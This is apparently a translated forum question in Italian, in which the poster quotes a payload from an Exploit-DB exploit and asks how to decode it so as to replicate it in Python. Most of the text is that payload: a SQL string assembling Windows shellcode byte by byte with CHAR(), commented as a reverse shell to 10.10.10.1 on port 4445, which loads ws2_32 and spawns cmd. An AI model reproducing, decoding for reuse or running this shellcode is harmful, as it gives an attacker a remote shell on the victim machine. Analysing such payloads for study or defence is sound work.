Sto provando a decodificare questo exploit su Exploit-DB
Le stringhe saranno principalmente copia e incolla tranne per il carico utile sulla linea 194.
Carico utile:
/* reverse shell on 10.10.10.1:4445 */
"SET @buf=@buf+CHAR(0xfc)+CHAR(0x6a)+CHAR(0xeb)+CHAR(0x4d)+CHAR(0xe8)+CHAR(0xf9)+CHAR(0xff)+CHAR(0xff)+CHAR(0xff)+CHAR(0x60)+CHAR(0x8b)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x24)+CHAR(0x8b)+CHAR(0x45)+CHAR(0x3c)+CHAR(0x8b)+CHAR(0x7c)+CHAR(0x05)+CHAR(0x78)+CHAR(0x01)+CHAR(0xef)+CHAR(0x8b)+CHAR(0x4f)+CHAR(0x18)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x20)+CHAR(0x01)+CHAR(0xeb)+CHAR(0x49)+CHAR(0x8b)+CHAR(0x34)+CHAR(0x8b)+CHAR(0x01)+CHAR(0xee)+CHAR(0x31)+CHAR(0xc0)+CHAR(0x99)+CHAR(0xac)+CHAR(0x84)+CHAR(0xc0)+CHAR(0x74)+CHAR(0x07)+CHAR(0xc1)+CHAR(0xca)+CHAR(0x0d)+CHAR(0x01)+CHAR(0xc2)+CHAR(0xeb)+CHAR(0xf4)+CHAR(0x3b)+CHAR(0x54)+CHAR(0x24)+CHAR(0x28)+CHAR(0x75)+CHAR(0xe5)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x24)+CHAR(0x01)+CHAR(0xeb)+CHAR(0x66)+CHAR(0x8b)+CHAR(0x0c)+CHAR(0x4b)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x1c)+CHAR(0x01)+CHAR(0xeb)+CHAR(0x03)+CHAR(0x2c)+CHAR(0x8b)+CHAR(0x89)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x1c)+CHAR(0x61)+CHAR(0xc3)+CHAR(0x31)+CHAR(0xdb)+CHAR(0x64)+CHAR(0x8b)+CHAR(0x43)+CHAR(0x30)+CHAR(0x8b)+CHAR(0x40)+CHAR(0x0c)+CHAR(0x8b)+CHAR(0x70)+CHAR(0x1c)+CHAR(0xad)+CHAR(0x8b)+CHAR(0x40)+CHAR(0x08)+CHAR(0x5e)+CHAR(0x68)+CHAR(0x8e)+CHAR(0x4e)+CHAR(0x0e)+CHAR(0xec)+CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x66)+CHAR(0x53)+CHAR(0x66)+CHAR(0x68)+CHAR(0x33)+CHAR(0x32)+CHAR(0x68)+CHAR(0x77)+CHAR(0x73)+CHAR(0x32)+CHAR(0x5f)+CHAR(0x54)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xcb)+CHAR(0xed)+CHAR(0xfc)+CHAR(0x3b)+CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5f)+CHAR(0x89)+CHAR(0xe5)+CHAR(0x66)+CHAR(0x81)+CHAR(0xed)+CHAR(0x08)+CHAR(0x02)+CHAR(0x55)+CHAR(0x6a)+CHAR(0x02)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xd9)+CHAR(0x09)+CHAR(0xf5)+CHAR(0xad)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x53)+CHAR(0x53)+CHAR(0x53)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x01)+CHAR(0x66)+CHAR(0x68)+CHAR(0x11)+CHAR(0x5d)+CHAR(0x66)+CHAR(0x53)+CHAR(0x89)+CHAR(0xe1)+CHAR(0x95)+CHAR(0x68)+CHAR(0xec)+CHAR(0xf9)+CHAR(0xaa)+CHAR(0x60)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0x10)+CHAR(0x51)+CHAR(0x55)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x66)+CHAR(0x6a)+CHAR(0x64)+CHAR(0x66)+CHAR(0x68)+CHAR(0x63)+CHAR(0x6d)+CHAR(0x6a)+CHAR(0x50)+CHAR(0x59)+CHAR(0x29)+CHAR(0xcc)+CHAR(0x89)+CHAR(0xe7)+CHAR(0x6a)+CHAR(0x44)+CHAR(0x89)+CHAR(0xe2)+CHAR(0x31)+CHAR(0xc0)+CHAR(0xf3)+CHAR(0xaa)+CHAR(0x95)+CHAR(0x89)+CHAR(0xfd)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2d)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2c)+CHAR(0x8d)+CHAR(0x7a)+CHAR(0x38)+CHAR(0xab)+CHAR(0xab)+CHAR(0xab)+CHAR(0x68)+CHAR(0x72)+CHAR(0xfe)+CHAR(0xb3)+CHAR(0x16)+CHAR(0xff)+CHAR(0x75)+CHAR(0x28)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5b)+CHAR(0x57)+CHAR(0x52)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x6a)+CHAR(0x01)+CHAR(0x51)+CHAR(0x51)+CHAR(0x55)+CHAR(0x51)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xad)+CHAR(0xd9)+CHAR(0x05)+CHAR(0xce)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0xff)+CHAR(0xff)+CHAR(0x37)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xe7)+CHAR(0x79)+CHAR(0xc6)+CHAR(0x79)+CHAR(0xff)+CHAR(0x75)+CHAR(0x04)+CHAR(0xff)+CHAR(0xd6)+CHAR(0xff)+CHAR(0x77)+CHAR(0xfc)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xef)+CHAR(0xce)+CHAR(0xe0)+CHAR(0x60)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6) "&_
Il problema che sto avendo è che, indipendentemente da come decodifico i caratteri, non riesco a recuperare i dati sensibili. Ho provato Hex, UTF8 e Ascii. Una volta che posso capire come decodificarlo, sono abbastanza sicuro di poterlo replicare in python.